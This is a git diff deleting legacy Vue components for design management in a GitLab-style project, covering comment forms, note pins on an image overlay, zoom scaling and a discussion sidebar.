- this.hideForm();
- if (hasErrors(data.updateNote)) {
- this.$emit('error', data.errors[0]);
- }
- },
- },
- updateNoteMutation,
-};
-</script>
-
-<template>
- <timeline-entry-item :id="`note_${noteAnchorId}`" ref="anchor" class="design-note note-form">
- <user-avatar-link
- :link-href="author.webUrl"
- :img-src="author.avatarUrl"
- :img-alt="author.username"
- :img-size="40"
- />
- <div class="d-flex justify-content-between">
- <div>
- <a
- v-once
- :href="author.webUrl"
- class="js-user-link"
- :data-user-id="author.id"
- :data-username="author.username"
- >
- <span class="note-header-author-name bold">{{ author.name }}</span>
- <span v-if="author.status_tooltip_html" v-html="author.status_tooltip_html"></span>
- <span class="note-headline-light">@{{ author.username }}</span>
- </a>
- <span class="note-headline-light note-headline-meta">
- <span class="system-note-message"> <slot></slot> </span>
- <template v-if="note.createdAt">
- <span class="system-note-separator"></span>
- <a class="note-timestamp system-note-separator" :href="`#note_${noteAnchorId}`">
- <time-ago-tooltip :time="note.createdAt" tooltip-placement="bottom" />
- </a>
- </template>
- </span>
- </div>
- <div class="gl-display-flex">
- <slot name="resolveDiscussion"></slot>
- <button
- v-if="isEditButtonVisible"
- v-gl-tooltip
- type="button"
- :title="__('Edit comment')"
- class="note-action-button js-note-edit btn btn-transparent qa-note-edit-button"
- @click="isEditing = true"
- >
- <gl-icon name="pencil" class="link-highlight" />
- </button>
- </div>
- </div>
- <template v-if="!isEditing">
- <div
- class="note-text js-note-text md"
- data-qa-selector="note_content"
- v-html="note.bodyHtml"
- ></div>
- <slot name="resolvedStatus"></slot>
- </template>
- <apollo-mutation
- v-else
- #default="{ mutate, loading }"
- :mutation="$options.updateNoteMutation"
- :variables="{
- input: mutationPayload,
- }"
- @error="$emit('error', $event)"
- @done="onDone"
- >
- <design-reply-form
- v-model="noteText"
- :is-saving="loading"
- :markdown-preview-path="markdownPreviewPath"
- :is-new-comment="false"
- class="mt-5"
- @submitForm="mutate"
- @cancelForm="hideForm"
- />
- </apollo-mutation>
- </timeline-entry-item>
-</template>
diff --git a/app/assets/javascripts/design_management_legacy/components/design_notes/design_reply_form.vue b/app/assets/javascripts/design_management_legacy/components/design_notes/design_reply_form.vue
deleted file mode 100644
index 969034909f2..00000000000
--- a/app/assets/javascripts/design_management_legacy/components/design_notes/design_reply_form.vue
+++ /dev/null
@@ -1,141 +0,0 @@
-<script>
-import { GlDeprecatedButton, GlModal } from '@gitlab/ui';
-import MarkdownField from '~/vue_shared/components/markdown/field.vue';
-import { s__ } from '~/locale';
-
-export default {
- name: 'DesignReplyForm',
- components: {
- MarkdownField,
- GlDeprecatedButton,
- GlModal,
- },
- props: {
- markdownPreviewPath: {
- type: String,
- required: false,
- default: '',
- },
- value: {
- type: String,
- required: true,
- },
- isSaving: {
- type: Boolean,
- required: true,
- },
- isNewComment: {
- type: Boolean,
- required: false,
- default: true,
- },
- },
- data() {
- return {
- formText: this.value,
- };
- },
- computed: {
- hasValue() {
- return this.value.trim().length > 0;
- },
- modalSettings() {
- if (this.isNewComment) {
- return {
- title: s__('DesignManagement|Cancel comment confirmation'),
- okTitle: s__('DesignManagement|Discard comment'),
- cancelTitle: s__('DesignManagement|Keep comment'),
- content: s__('DesignManagement|Are you sure you want to cancel creating this comment?'),
- };
- }
- return {
- title: s__('DesignManagement|Cancel comment update confirmation'),
- okTitle: s__('DesignManagement|Cancel changes'),
- cancelTitle: s__('DesignManagement|Keep changes'),
- content: s__('DesignManagement|Are you sure you want to cancel changes to this comment?'),
- };
- },
- buttonText() {
- return this.isNewComment
- ? s__('DesignManagement|Comment')
- : s__('DesignManagement|Save comment');
- },
- },
- mounted() {
- this.focusInput();
- },
- methods: {
- submitForm() {
- if (this.hasValue) this.$emit('submitForm');
- },
- cancelComment() {
- if (this.hasValue && this.formText !== this.value) {
- this.$refs.cancelCommentModal.show();
- } else {
- this.$emit('cancelForm');
- }
- },
- focusInput() {
- this.$refs.textarea.focus();
- },
- },
-};
-</script>
-
-<template>
- <form class="new-note common-note-form" @submit.prevent>
- <markdown-field
- :markdown-preview-path="markdownPreviewPath"
- :can-attach-file="false"
- :enable-autocomplete="true"
- :textarea-value="value"
- markdown-docs-path="/help/user/markdown"
- class="bordered-box"
- >
- <template #textarea>
- <textarea
- ref="textarea"
- :value="value"
- class="note-textarea js-gfm-input js-autosize markdown-area"
- dir="auto"
- data-supports-quick-actions="false"
- data-qa-selector="note_textarea"
- :aria-label="__('Description')"
- :placeholder="__('Write a comment…')"
- @input="$emit('input', $event.target.value)"
- @keydown.meta.enter="submitForm"
- @keydown.ctrl.enter="submitForm"
- @keyup.esc.stop="cancelComment"
- >
- </textarea>
- </template>
- </markdown-field>
- <slot name="resolveCheckbox"></slot>
- <div class="note-form-actions gl-display-flex gl-justify-content-space-between">
- <gl-deprecated-button
- ref="submitButton"
- :disabled="!hasValue || isSaving"
- variant="success"
- type="submit"
- data-track-event="click_button"
- data-qa-selector="save_comment_button"
- @click="$emit('submitForm')"
- >
- {{ buttonText }}
- </gl-deprecated-button>
- <gl-deprecated-button ref="cancelButton" @click="cancelComment">{{
- __('Cancel')
- }}</gl-deprecated-button>
- </div>
- <gl-modal
- ref="cancelCommentModal"
- ok-variant="danger"
- :title="modalSettings.title"
- :ok-title="modalSettings.okTitle"
- :cancel-title="modalSettings.cancelTitle"
- modal-id="cancel-comment-modal"
- @ok="$emit('cancelForm')"
- >{{ modalSettings.content }}
- </gl-modal>
- </form>
-</template>
diff --git a/app/assets/javascripts/design_management_legacy/components/design_notes/toggle_replies_widget.vue b/app/assets/javascripts/design_management_legacy/components/design_notes/toggle_replies_widget.vue
deleted file mode 100644
index 2e366282de3..00000000000
--- a/app/assets/javascripts/design_management_legacy/components/design_notes/toggle_replies_widget.vue
+++ /dev/null
@@ -1,70 +0,0 @@
-<script>
-import { GlIcon, GlButton, GlLink } from '@gitlab/ui';
-import { __, n__ } from '~/locale';
-import TimeAgoTooltip from '~/vue_shared/components/time_ago_tooltip.vue';
-
-export default {
- name: 'ToggleNotesWidget',
- components: {
- GlIcon,
- GlButton,
- GlLink,
- TimeAgoTooltip,
- },
- props: {
- collapsed: {
- type: Boolean,
- required: true,
- },
- replies: {
- type: Array,
- required: true,
- },
- },
- computed: {
- lastReply() {
- return this.replies[this.replies.length - 1];
- },
- iconName() {
- return this.collapsed ? 'chevron-right' : 'chevron-down';
- },
- toggleText() {
- return this.collapsed
- ? `${this.replies.length} ${n__('reply', 'replies', this.replies.length)}`
- : __('Collapse replies');
- },
- },
-};
-</script>
-
-<template>
- <li
- class="toggle-comments gl-bg-gray-50 gl-display-flex gl-align-items-center gl-py-3"
- :class="{ expanded: !collapsed }"
- data-testid="toggle-comments-wrapper"
- >
- <gl-icon :name="iconName" class="gl-ml-3" @click.stop="$emit('toggle')" />
- <gl-button
- variant="link"
- class="toggle-comments-button gl-ml-2 gl-mr-2"
- @click.stop="$emit('toggle')"
- >
- {{ toggleText }}
- </gl-button>
- <template v-if="collapsed">
- <span class="gl-text-gray-500">{{ __('Last reply by') }}</span>
- <gl-link
- :href="lastReply.author.webUrl"
- target="_blank"
- class="link-inherit-color gl-text-body gl-text-decoration-none gl-font-weight-bold gl-ml-2 gl-mr-2"
- >
- {{ lastReply.author.name }}
- </gl-link>
- <time-ago-tooltip
- :time="lastReply.createdAt"
- tooltip-placement="bottom"
- class="gl-text-gray-500"
- />
- </template>
- </li>
-</template>
diff --git a/app/assets/javascripts/design_management_legacy/components/design_overlay.vue b/app/assets/javascripts/design_management_legacy/components/design_overlay.vue
deleted file mode 100644
index 926e7c74802..00000000000
--- a/app/assets/javascripts/design_management_legacy/components/design_overlay.vue
+++ /dev/null
@@ -1,287 +0,0 @@
-<script>
-import activeDiscussionQuery from '../graphql/queries/active_discussion.query.graphql';
-import updateActiveDiscussionMutation from '../graphql/mutations/update_active_discussion.mutation.graphql';
-import DesignNotePin from './design_note_pin.vue';
-import { ACTIVE_DISCUSSION_SOURCE_TYPES } from '../constants';
-
-export default {
- name: 'DesignOverlay',
- components: {
- DesignNotePin,
- },
- props: {
- dimensions: {
- type: Object,
- required: true,
- },
- position: {
- type: Object,
- required: true,
- },
- notes: {
- type: Array,
- required: false,
- default: () => [],
- },
- currentCommentForm: {
- type: Object,
- required: false,
- default: null,
- },
- disableCommenting: {
- type: Boolean,
- required: false,
- default: false,
- },
- resolvedDiscussionsExpanded: {
- type: Boolean,
- required: true,
- },
- },
- apollo: {
- activeDiscussion: {
- query: activeDiscussionQuery,
- },
- },
- data() {
- return {
- movingNoteNewPosition: null,
- movingNoteStartPosition: null,
- activeDiscussion: {},
- };
- },
- computed: {
- overlayStyle() {
- const cursor = this.disableCommenting ? 'unset' : undefined;
-
- return {
- cursor,
- width: `${this.dimensions.width}px`,
- height: `${this.dimensions.height}px`,
- ...this.position,
- };
- },
- isMovingCurrentComment() {
- return Boolean(this.movingNoteStartPosition && !this.movingNoteStartPosition.noteId);
- },
- currentCommentPositionStyle() {
- return this.isMovingCurrentComment && this.movingNoteNewPosition
- ? this.getNotePositionStyle(this.movingNoteNewPosition)
- : this.getNotePositionStyle(this.currentCommentForm);
- },
- },
- methods: {
- setNewNoteCoordinates({ x, y }) {
- this.$emit('openCommentForm', { x, y });
- },
- getNoteRelativePosition(position) {
- const { x, y, width, height } = position;
- const widthRatio = this.dimensions.width / width;
- const heightRatio = this.dimensions.height / height;
- return {
- left: Math.round(x * widthRatio),
- top: Math.round(y * heightRatio),
- };
- },
- getNotePositionStyle(position) {
- const { left, top } = this.getNoteRelativePosition(position);
- return {
- left: `${left}px`,
- top: `${top}px`,
- };
- },
- getMovingNotePositionDelta(e) {
- let deltaX = 0;
- let deltaY = 0;
-
- if (this.movingNoteStartPosition) {
- const { clientX, clientY } = this.movingNoteStartPosition;
- deltaX = e.clientX - clientX;
- deltaY = e.clientY - clientY;
- }
-
- return {
- deltaX,
- deltaY,
- };
- },
- isMovingNote(noteId) {
- const movingNoteId = this.movingNoteStartPosition?.noteId;
- return Boolean(movingNoteId && movingNoteId === noteId);
- },
- canMoveNote(note) {
- const { userPermissions } = note;
- const { adminNote } = userPermissions || {};
-
- return Boolean(adminNote);
- },
- isPositionInOverlay(position) {
- const { top, left } = this.getNoteRelativePosition(position);
- const { height, width } = this.dimensions;
-
- return top >= 0 && top <= height && left >= 0 && left <= width;
- },
- onNewNoteMove(e) {
- if (!this.isMovingCurrentComment) return;
-
- const { deltaX, deltaY } = this.getMovingNotePositionDelta(e);
- const x = this.currentCommentForm.x + deltaX;
- const y = this.currentCommentForm.y + deltaY;
-
- const movingNoteNewPosition = {
- x,
- y,
- width: this.dimensions.width,
- height: this.dimensions.height,
- };
-
- if (!this.isPositionInOverlay(movingNoteNewPosition)) {
- this.onNewNoteMouseup();
- return;
- }
-
- this.movingNoteNewPosition = movingNoteNewPosition;
- },
- onExistingNoteMove(e) {
- const note = this.notes.find(({ id }) => id === this.movingNoteStartPosition.noteId);
- if (!note || !this.canMoveNote(note)) return;
-
- const { position } = note;
- const { width, height } = position;
- const widthRatio = this.dimensions.width / width;
- const heightRatio = this.dimensions.height / height;
-
- const { deltaX, deltaY } = this.getMovingNotePositionDelta(e);
- const x = position.x * widthRatio + deltaX;
- const y = position.y * heightRatio + deltaY;
-
- const movingNoteNewPosition = {
- x,
- y,
- width: this.dimensions.width,
- height: this.dimensions.height,
- };
-
- if (!this.isPositionInOverlay(movingNoteNewPosition)) {
- this.onExistingNoteMouseup();
- return;
- }
-
- this.movingNoteNewPosition = movingNoteNewPosition;
- },
- onNewNoteMouseup() {
- if (!this.movingNoteNewPosition) return;
-
- const { x, y } = this.movingNoteNewPosition;
- this.setNewNoteCoordinates({ x, y });
- },
- onExistingNoteMouseup(note) {
- if (!this.movingNoteStartPosition || !this.movingNoteNewPosition) {
- this.updateActiveDiscussion(note.id);
- this.$emit('closeCommentForm');
- return;
- }
-
- const { x, y } = this.movingNoteNewPosition;
- this.$emit('moveNote', {
- noteId: this.movingNoteStartPosition.noteId,
- discussionId: this.movingNoteStartPosition.discussionId,
- coordinates: { x, y },
- });
- },
- onNoteMousedown({ clientX, clientY }, note) {
- this.movingNoteStartPosition = {
- noteId: note?.id,
- discussionId: note?.discussion.id,
- clientX,
- clientY,
- };
- },
- onOverlayMousemove(e) {
- if (!this.movingNoteStartPosition) return;
-
- if (this.isMovingCurrentComment) {
- this.onNewNoteMove(e);
- } else {
- this.onExistingNoteMove(e);
- }
- },
- onNoteMouseup(note) {
- if (!this.movingNoteStartPosition) return;
-
- if (this.isMovingCurrentComment) {
- this.onNewNoteMouseup();
- } else {
- this.onExistingNoteMouseup(note);
- }
-
- this.movingNoteStartPosition = null;
- this.movingNoteNewPosition = null;
- },
- onAddCommentMouseup({ offsetX, offsetY }) {
- if (this.disableCommenting) return;
- if (this.activeDiscussion.id) {
- this.updateActiveDiscussion();
- }
-
- this.setNewNoteCoordinates({ x: offsetX, y: offsetY });
- },
- updateActiveDiscussion(id) {
- this.$apollo.mutate({
- mutation: updateActiveDiscussionMutation,
- variables: {
- id,
- source: ACTIVE_DISCUSSION_SOURCE_TYPES.pin,
- },
- });
- },
- isNoteInactive(note) {
- return this.activeDiscussion.id && this.activeDiscussion.id !== note.id;
- },
- designPinClass(note) {
- return { inactive: this.isNoteInactive(note), resolved: note.resolved };
- },
- },
-};
-</script>
-
-<template>
- <div
- class="position-absolute image-diff-overlay frame"
- :style="overlayStyle"
- @mousemove="onOverlayMousemove"
- @mouseleave="onNoteMouseup"
- >
- <button
- v-show="!disableCommenting"
- type="button"
- class="btn-transparent position-absolute image-diff-overlay-add-comment w-100 h-100 js-add-image-diff-note-button"
- data-qa-selector="design_image_button"
- @mouseup="onAddCommentMouseup"
- ></button>
- <template v-for="note in notes">
- <design-note-pin
- v-if="resolvedDiscussionsExpanded || !note.resolved"
- :key="note.id"
- :label="note.index"
- :repositioning="isMovingNote(note.id)"
- :position="
- isMovingNote(note.id) && movingNoteNewPosition
- ? getNotePositionStyle(movingNoteNewPosition)
- : getNotePositionStyle(note.position)
- "
- :class="designPinClass(note)"
- @mousedown.stop="onNoteMousedown($event, note)"
- @mouseup.stop="onNoteMouseup(note)"
- />
- </template>
-
- <design-note-pin
- v-if="currentCommentForm"
- :position="currentCommentPositionStyle"
- :repositioning="isMovingCurrentComment"
- @mousedown.stop="onNoteMousedown"
- @mouseup.stop="onNoteMouseup"
- />
- </div>
-</template>
diff --git a/app/assets/javascripts/design_management_legacy/components/design_presentation.vue b/app/assets/javascripts/design_management_legacy/components/design_presentation.vue
deleted file mode 100644
index 84dbb2809d9..00000000000
--- a/app/assets/javascripts/design_management_legacy/components/design_presentation.vue
+++ /dev/null
@@ -1,322 +0,0 @@
-<script>
-import { throttle } from 'lodash';
-import DesignImage from './image.vue';
-import DesignOverlay from './design_overlay.vue';
-
-const CLICK_DRAG_BUFFER_PX = 2;
-
-export default {
- components: {
- DesignImage,
- DesignOverlay,
- },
- props: {
- image: {
- type: String,
- required: false,
- default: '',
- },
- imageName: {
- type: String,
- required: false,
- default: '',
- },
- discussions: {
- type: Array,
- required: true,
- },
- isAnnotating: {
- type: Boolean,
- required: false,
- default: false,
- },
- scale: {
- type: Number,
- required: false,
- default: 1,
- },
- resolvedDiscussionsExpanded: {
- type: Boolean,
- required: true,
- },
- },
- data() {
- return {
- overlayDimensions: null,
- overlayPosition: null,
- currentAnnotationPosition: null,
- zoomFocalPoint: {
- x: 0,
- y: 0,
- width: 0,
- height: 0,
- },
- initialLoad: true,
- lastDragPosition: null,
- isDraggingDesign: false,
- };
- },
- computed: {
- discussionStartingNotes() {
- return this.discussions.map(discussion => ({
- ...discussion.notes[0],
- index: discussion.index,
- }));
- },
- currentCommentForm() {
- return (this.isAnnotating && this.currentAnnotationPosition) || null;
- },
- presentationStyle() {
- return {
- cursor: this.isDraggingDesign ? 'grabbing' : undefined,
- };
- },
- },
- beforeDestroy() {
- const { presentationViewport } = this.$refs;
- if (!presentationViewport) return;
-
- presentationViewport.removeEventListener('scroll', this.scrollThrottled, false);
- },
- mounted() {
- const { presentationViewport } = this.$refs;
- if (!presentationViewport) return;
-
- this.scrollThrottled = throttle(() => {
- this.shiftZoomFocalPoint();
- }, 400);
-
- presentationViewport.addEventListener('scroll', this.scrollThrottled, false);
- },
- methods: {
- syncCurrentAnnotationPosition() {
- if (!this.currentAnnotationPosition) return;
-
- const widthRatio = this.overlayDimensions.width / this.currentAnnotationPosition.width;
- const heightRatio = this.overlayDimensions.height / this.currentAnnotationPosition.height;
- const x = this.currentAnnotationPosition.x * widthRatio;
- const y = this.currentAnnotationPosition.y * heightRatio;
-
- this.currentAnnotationPosition = this.getAnnotationPositon({ x, y });
- },
- setOverlayDimensions(overlayDimensions) {
- this.overlayDimensions = overlayDimensions;
-
- // every time we set overlay dimensions, we need to
- // update the current annotation as well
- this.syncCurrentAnnotationPosition();
- },
- setOverlayPosition() {
- if (!this.overlayDimensions) {
- this.overlayPosition = {};
- }
-
- const { presentationViewport } = this.$refs;
- if (!presentationViewport) return;
-
- // default to center
- this.overlayPosition = {
- left: `calc(50% - ${this.overlayDimensions.width / 2}px)`,
- top: `calc(50% - ${this.overlayDimensions.height / 2}px)`,
- };
-
- // if the overlay overflows, then don't center
- if (this.overlayDimensions.width > presentationViewport.offsetWidth) {
- this.overlayPosition.left = '0';
- }
- if (this.overlayDimensions.height > presentationViewport.offsetHeight) {
- this.overlayPosition.top = '0';
- }
- },
- /**
- * Return a point that represents the center of an
- * overflowing child element w.r.t it's parent
- */
- getViewportCenter() {
- const { presentationViewport } = this.$refs;
- if (!presentationViewport) return {};
-
- // get height of scroll bars (i.e. the max values for scrollTop, scrollLeft)
- const scrollBarWidth = presentationViewport.scrollWidth - presentationViewport.offsetWidth;
- const scrollBarHeight = presentationViewport.scrollHeight - presentationViewport.offsetHeight;
-
- // determine how many child pixels have been scrolled
- const xScrollRatio =
- presentationViewport.scrollLeft > 0 ? presentationViewport.scrollLeft / scrollBarWidth : 0;
- const yScrollRatio =
- presentationViewport.scrollTop > 0 ? presentationViewport.scrollTop / scrollBarHeight : 0;
- const xScrollOffset =
- (presentationViewport.scrollWidth - presentationViewport.offsetWidth - 0) * xScrollRatio;
- const yScrollOffset =
- (presentationViewport.scrollHeight - presentationViewport.offsetHeight - 0) * yScrollRatio;
-
- const viewportCenterX = presentationViewport.offsetWidth / 2;
- const viewportCenterY = presentationViewport.offsetHeight / 2;
- const focalPointX = viewportCenterX + xScrollOffset;
- const focalPointY = viewportCenterY + yScrollOffset;
-
- return {
- x: focalPointX,
- y: focalPointY,
- };
- },
- /**
- * Scroll the viewport such that the focal point is positioned centrally
- */
- scrollToFocalPoint() {
- const { presentationViewport } = this.$refs;
- if (!presentationViewport) return;
-
- const scrollX = this.zoomFocalPoint.x - presentationViewport.offsetWidth / 2;
- const scrollY = this.zoomFocalPoint.y - presentationViewport.offsetHeight / 2;
-
- presentationViewport.scrollTo(scrollX, scrollY);
- },
- scaleZoomFocalPoint() {
- const { x, y, width, height } = this.zoomFocalPoint;
- const widthRatio = this.overlayDimensions.width / width;
- const heightRatio = this.overlayDimensions.height / height;
-
- this.zoomFocalPoint = {
- x: Math.round(x * widthRatio * 100) / 100,
- y: Math.round(y * heightRatio * 100) / 100,
- ...this.overlayDimensions,
- };
- },
- shiftZoomFocalPoint() {
- this.zoomFocalPoint = {
- ...this.getViewportCenter(),
- ...this.overlayDimensions,
- };
- },
- onImageResize(imageDimensions) {
- this.setOverlayDimensions(imageDimensions);
- this.setOverlayPosition();
-
- this.$nextTick(() => {
- if (this.initialLoad) {
- // set focal point on initial load
- this.shiftZoomFocalPoint();
- this.initialLoad = false;
- } else {
- this.scaleZoomFocalPoint();
- this.scrollToFocalPoint();
- }
- });
- },
- getAnnotationPositon(coordinates) {
- const { x, y } = coordinates;
- const { width, height } = this.overlayDimensions;
- return {
- x: Math.round(x),
- y: Math.round(y),
- width: Math.round(width),
- height: Math.round(height),
- };
- },
- openCommentForm(coordinates) {
- this.currentAnnotationPosition = this.getAnnotationPositon(coordinates);
- this.$emit('openCommentForm', this.currentAnnotationPosition);
- },
- closeCommentForm() {
- this.currentAnnotationPosition = null;
- this.$emit('closeCommentForm');
- },
- moveNote({ noteId, discussionId, coordinates }) {
- const position = this.getAnnotationPositon(coordinates);
- this.$emit('moveNote', { noteId, discussionId, position });
- },
- onPresentationMousedown({ clientX, clientY }) {
- if (!this.isDesignOverflowing()) return;
-
- this.lastDragPosition = {
- x: clientX,
- y: clientY,
- };
- },
- getDragDelta(clientX, clientY) {
- return {
- deltaX: this.lastDragPosition.x - clientX,
- deltaY: this.lastDragPosition.y - clientY,
- };
- },
- exceedsDragThreshold(clientX, clientY) {
- const { deltaX, deltaY } = this.getDragDelta(clientX, clientY);
-
- return Math.abs(deltaX) > CLICK_DRAG_BUFFER_PX || Math.abs(deltaY) > CLICK_DRAG_BUFFER_PX;
- },
- shouldDragDesign(clientX, clientY) {
- return (
- this.lastDragPosition &&
- (this.isDraggingDesign || this.exceedsDragThreshold(clientX, clientY))
- );
- },
- onPresentationMousemove({ clientX, clientY }) {
- const { presentationViewport } = this.$refs;
- if (!presentationViewport || !this.shouldDragDesign(clientX, clientY)) return;
-
- this.isDraggingDesign = true;
-
- const { scrollLeft, scrollTop } = presentationViewport;
- const { deltaX, deltaY } = this.getDragDelta(clientX, clientY);
- presentationViewport.scrollTo(scrollLeft + deltaX, scrollTop + deltaY);
-
- this.lastDragPosition = {
- x: clientX,
- y: clientY,
- };
- },
- onPresentationMouseup() {
- this.lastDragPosition = null;
- this.isDraggingDesign = false;
- },
- isDesignOverflowing() {
- const { presentationViewport } = this.$refs;
- if (!presentationViewport) return false;
-
- return (
- presentationViewport.scrollWidth > presentationViewport.offsetWidth ||
- presentationViewport.scrollHeight > presentationViewport.offsetHeight
- );
- },
- },
-};
-</script>
-
-<template>
- <div
- ref="presentationViewport"
- class="h-100 w-100 p-3 overflow-auto position-relative"
- :style="presentationStyle"
- @mousedown="onPresentationMousedown"
- @mousemove="onPresentationMousemove"
- @mouseup="onPresentationMouseup"
- @mouseleave="onPresentationMouseup"
- @touchstart="onPresentationMousedown"
- @touchmove="onPresentationMousemove"
- @touchend="onPresentationMouseup"
- @touchcancel="onPresentationMouseup"
- >
- <div class="h-100 w-100 d-flex align-items-center position-relative">
- <design-image
- v-if="image"
- :image="image"
- :name="imageName"
- :scale="scale"
- @resize="onImageResize"
- />
- <design-overlay
- v-if="overlayDimensions && overlayPosition"
- :dimensions="overlayDimensions"
- :position="overlayPosition"
- :notes="discussionStartingNotes"
- :current-comment-form="currentCommentForm"
- :disable-commenting="isDraggingDesign"
- :resolved-discussions-expanded="resolvedDiscussionsExpanded"
- @openCommentForm="openCommentForm"
- @closeCommentForm="closeCommentForm"
- @moveNote="moveNote"
- />
- </div>
- </div>
-</template>
diff --git a/app/assets/javascripts/design_management_legacy/components/design_scaler.vue b/app/assets/javascripts/design_management_legacy/components/design_scaler.vue
deleted file mode 100644
index 55dee74bef5..00000000000
--- a/app/assets/javascripts/design_management_legacy/components/design_scaler.vue
+++ /dev/null
@@ -1,65 +0,0 @@
-<script>
-import { GlIcon } from '@gitlab/ui';
-
-const SCALE_STEP_SIZE = 0.2;
-const DEFAULT_SCALE = 1;
-const MIN_SCALE = 1;
-const MAX_SCALE = 2;
-
-export default {
- components: {
- GlIcon,
- },
- data() {
- return {
- scale: DEFAULT_SCALE,
- };
- },
- computed: {
- disableReset() {
- return this.scale <= MIN_SCALE;
- },
- disableDecrease() {
- return this.scale === DEFAULT_SCALE;
- },
- disableIncrease() {
- return this.scale >= MAX_SCALE;
- },
- },
- methods: {
- setScale(scale) {
- if (scale < MIN_SCALE) {
- return;
- }
-
- this.scale = Math.round(scale * 100) / 100;
- this.$emit('scale', this.scale);
- },
- incrementScale() {
- this.setScale(this.scale + SCALE_STEP_SIZE);
- },
- decrementScale() {
- this.setScale(this.scale - SCALE_STEP_SIZE);
- },
- resetScale() {
- this.setScale(DEFAULT_SCALE);
- },
- },
-};
-</script>
-
-<template>
- <div class="design-scaler btn-group" role="group">
- <button class="btn" :disabled="disableDecrease" @click="decrementScale">
- <span class="d-flex-center gl-icon s16">
- –
- </span>
- </button>
- <button class="btn" :disabled="disableReset" @click="resetScale">
- <gl-icon name="redo" />
- </button>
- <button class="btn" :disabled="disableIncrease" @click="incrementScale">
- <gl-icon name="plus" />
- </button>
- </div>
-</template>
diff --git a/app/assets/javascripts/design_management_legacy/components/design_sidebar.vue b/app/assets/javascripts/design_management_legacy/components/design_sidebar.vue
deleted file mode 100644
index 622120e2008..00000000000
--- a/app/assets/javascripts/design_management_legacy/components/design_sidebar.vue
+++ /dev/null
@@ -1,178 +0,0 @@
-<script>
-import Cookies from 'js-cookie';
-import { GlCollapse, GlButton, GlPopover } from '@gitlab/ui';
-import { s__ } from '~/locale';
-import { parseBoolean } from '~/lib/utils/common_utils';
-import updateActiveDiscussionMutation from '../graphql/mutations/update_active_discussion.mutation.graphql';
-import { extractDiscussions, extractParticipants } from '../utils/design_management_utils';
-import { ACTIVE_DISCUSSION_SOURCE_TYPES } from '../constants';
-import DesignDiscussion from './design_notes/design_discussion.vue';
-import Participants from '~/sidebar/components/participants/participants.vue';
-
-export default {
- components: {
- DesignDiscussion,
- Participants,
- GlCollapse,
- GlButton,
- GlPopover,
- },
- props: {
- design: {
- type: Object,
- required: true,
- },
- resolvedDiscussionsExpanded: {
- type: Boolean,
- required: true,
- },
- markdownPreviewPath: {
- type: String,
- required: true,
- },
- },
- data() {
- return {
- isResolvedCommentsPopoverHidden: parseBoolean(Cookies.get(this.$options.cookieKey)),
- discussionWithOpenForm: '',
- };
- },
- computed: {
- discussions() {
- return extractDiscussions(this.design.discussions);
- },
- issue() {
- return {
- ...this.design.issue,
- webPath: this.design.issue.webPath.substr(1),
- };
- },
- discussionParticipants() {
- return extractParticipants(this.issue.participants);
- },
- resolvedDiscussions() {
- return this.discussions.filter(discussion => discussion.resolved);
- },
- unresolvedDiscussions() {
- return this.discussions.filter(discussion => !discussion.resolved);
- },
- resolvedCommentsToggleIcon() {
- return this.resolvedDiscussionsExpanded ? 'chevron-down' : 'chevron-right';
- },
- },
- methods: {
- handleSidebarClick() {
- this.isResolvedCommentsPopoverHidden = true;
- Cookies.set(this.$options.cookieKey, 'true', { expires: 365 * 10 });
- this.updateActiveDiscussion();
- },
- updateActiveDiscussion(id) {
- this.$apollo.mutate({
- mutation: updateActiveDiscussionMutation,
- variables: {
- id,
- source: ACTIVE_DISCUSSION_SOURCE_TYPES.discussion,
- },
- });
- },
- closeCommentForm() {
- this.comment = '';
- this.$emit('closeCommentForm');
- },
- updateDiscussionWithOpenForm(id) {
- this.discussionWithOpenForm = id;
- },
- },
- resolveCommentsToggleText: s__('DesignManagement|Resolved Comments'),
- cookieKey: 'hide_design_resolved_comments_popover',
-};
-</script>
-
-<template>
- <div class="image-notes" @click="handleSidebarClick">
- <h2 class="gl-font-weight-bold gl-mt-0">
- {{ issue.title }}
- </h2>
- <a
- class="gl-text-gray-400 gl-text-decoration-none gl-mb-6 gl-display-block"
- :href="issue.webUrl"
- >{{ issue.webPath }}</a
- >
- <participants
- :participants="discussionParticipants"
- :show-participant-label="false"
- class="gl-mb-4"
- />
- <h2
- v-if="unresolvedDiscussions.length === 0"
- class="new-discussion-disclaimer gl-font-base gl-m-0 gl-mb-4"
- data-testid="new-discussion-disclaimer"
- >
- {{ s__("DesignManagement|Click the image where you'd like to start a new discussion") }}
- </h2>
- <design-discussion
- v-for="discussion in unresolvedDiscussions"
- :key="discussion.id"
- :discussion="discussion"
- :design-id="$route.params.id"
- :noteable-id="design.id"
- :markdown-preview-path="markdownPreviewPath"
- :resolved-discussions-expanded="resolvedDiscussionsExpanded"
- :discussion-with-open-form="discussionWithOpenForm"
- data-testid="unresolved-discussion"
- @createNoteError="$emit('onDesignDiscussionError', $event)"
- @updateNoteError="$emit('updateNoteError', $event)"
- @resolveDiscussionError="$emit('resolveDiscussionError', $event)"
- @click.native.stop="updateActiveDiscussion(discussion.notes[0].id)"
- @openForm="updateDiscussionWithOpenForm"
- />
- <template v-if="resolvedDiscussions.length > 0">
- <gl-button
- id="resolved-comments"
- data-testid="resolved-comments"
- :icon="resolvedCommentsToggleIcon"
- variant="link"
- class="link-inherit-color gl-text-body gl-text-decoration-none gl-font-weight-bold gl-mb-4"
- @click="$emit('toggleResolvedComments')"
- >{{ $options.resolveCommentsToggleText }} ({{ resolvedDiscussions.length }})
- </gl-button>
- <gl-popover
- v-if="!isResolvedCommentsPopoverHidden"
- :show="!isResolvedCommentsPopoverHidden"
- target="resolved-comments"
- container="popovercontainer"
- placement="top"
- :title="s__('DesignManagement|Resolved Comments')"
- >
- <p>
- {{
- s__(
- 'DesignManagement|Comments you resolve can be viewed and unresolved by going to the "Resolved Comments" section below',
- )
- }}
- </p>
- <a href="#" rel="noopener noreferrer" target="_blank">{{
- s__('DesignManagement|Learn more about resolving comments')
- }}</a>
- </gl-popover>
- <gl-collapse :visible="resolvedDiscussionsExpanded" class="gl-mt-3">
- <design-discussion
- v-for="discussion in resolvedDiscussions"
- :key="discussion.id"
- :discussion="discussion"
- :design-id="$route.params.id"
- :noteable-id="design.id"
- :markdown-preview-path="markdownPreviewPath"
- :resolved-discussions-expanded="resolvedDiscussionsExpanded"
- :discussion-with-open-form="discussionWithOpenForm"
- data-testid="resolved-discussion"
- @error="$emit('onDesignDiscussionError', $event)"
- @updateNoteError="$emit('updateNoteError', $event)"
- @openForm="updateDiscussionWithOpenForm"
- @click.native.stop="updateActiveDiscussion(discussion.notes[0].id)"
- />
- </gl-collapse>
- </template>
- <slot name="replyForm"></slot>
- </div>
-</template>
